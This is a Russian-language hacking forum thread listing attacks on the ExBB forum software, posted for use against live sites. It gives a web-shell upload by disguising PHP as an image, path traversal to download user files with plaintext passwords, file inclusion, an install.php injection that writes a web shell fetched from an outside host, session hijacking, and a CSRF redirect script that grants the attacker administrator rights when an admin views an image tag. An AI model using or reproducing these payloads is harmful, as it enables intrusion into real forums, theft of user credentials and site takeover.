• XSS.stack #1 – первый литературный журнал от юзеров форума

Взламываем Exbb

Winux

Старожил форума
Легенда
Регистрация
12.11.2004
Сообщения
6 358
Реакции
53
http://news.xss.pro/exbb.jpg
1. Приаттачивание шела.
Смотрим код:

Код:
$img = false;

if ( preg_match('#image\/[x\-]*([a-z]+)#', $HTTP_POST_FILES['FILE_UPLOAD']['type']) ) {//Проверяется заголовок
  	list($width, $height) = @getimagesize($HTTP_POST_FILES['FILE_UPLOAD']['tmp_name']);
  	$FILE_NAME = uniqid("att-").substr($FILE_NAME,-8);
  	$storage_name = $FILE_NAME;
  	$img = true;
  	$filetoopen = $exbb['home_path'].'uploads/'.$name;
  	if ( file_exists($filetoopen) ) @unlink($filetoopen);
}

Берем картику переименовываем в *.php, дописываем в конец <?include $u;?> и шелл уже на серваке.

2. Левый скрипт закачки.
Код:
if ($vars['f'] == '' || $vars['t'] == '' || $vars['id'] == '') error($lang['Main_msg'],$lang['Dont_chg_url'],'',1);

$filetoopen = $exbb['home_path'].'forum'.$vars['f'].'/attaches-'.$vars['t'].'.php';
$t_attaches = ( file_exists($filetoopen) ) ? get_file($filetoopen) : array();

Переменные f,t,id не фильруются совсем, где (int) )), например можно присвоить переменной t что-нибудь типа ../../../../../eat )
Это дает возможность скачать любой файл, например файл юзера, конфиг.

Уязвимость актуальна, если у вас есть доступ к серверу под другим юзером, закидываем файл(поменяв имя файла на /home/user/forum/members/1.php с настройками в темп, ставим права 777.
Потом заходим по линку:
http:/bug.ru/forum/tools?f=1&t=/../../../../../eat&id=1 и скачиваем файл с именем и паролем юзверя, а пароль хранится в незашифрованном виде!

3. Задание вместо имени языка любого значения, например ../../.. правда к этому счастью прибавляется еще строка :/, а потом файл инклудится!
Уязвимость актуальна, если у вас есть доступ к серверу под другим юзером.

4. Встраивание вместо аватара любого линка ), например скрипта с редиректом, для смены параметров, создания нового админа ).

5. Если посмотреть, как обстоят дела со скриптом инсталляции. Введем в поиске exbb, и ,выбирая домены второго уровня, добавляем к линку install.php
И что вы думаете, больше 10 сайтов с незалоченным скриптом установки (это, как правило сайты, переносившие форум). Вводим вместо линка на форум:
http://localhost/forum2'; fwrite(fopen('sh.php',w),implode('',file('http://pro-hack.ru/shell.txt')));////
Завершаем установку. Грузим индекс. В папке форума появляется веб шел )

6. Защита от перехвата сессий - никакая ) подсматриваем в темпе индификатор сесси, будет например: sess_300122f4a852a84e44614f1124716eb9
Пишем урл: http://bug/index.php?PHPSESSID=300122f4a85...4614f1124716eb9 Все друг, проснись ты в админке )
 
Как то ночью мы с афоней бомбили форумы exBB и вот собсна итог...
--
Что бы стать админом в форумах exBB включительно,создаем php файл.
Код:
<? 

header("Location:http://<URL>/<patch>/setmembers.php?action=edit_user&checkaction=yes&userid=[ID]&membertitle=&emailaddress=[EM]&newname=[NIK]&password=&homepage=&aolname=&icqnumber=&location=&interests=&signature=&numberofposts=0&avatar=&membercode=ad&submit=%CE%F2%EF%F0%E0%E2%E8%F2%FC 
"); 

?>
url - адресс сайта, patch - папка где живет форум, ID- ваш id EM- ваше мыло NIK- ваш ник
Заливаем все это дело на хостинг, и постим на форуме мессагу
Код:
[IMG]http://site.com/file.php[/IMG]
либо эту же мессагу отправляем в ПМ админу.
Как только админ прочел сообщение можете поздравить себя с админством.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх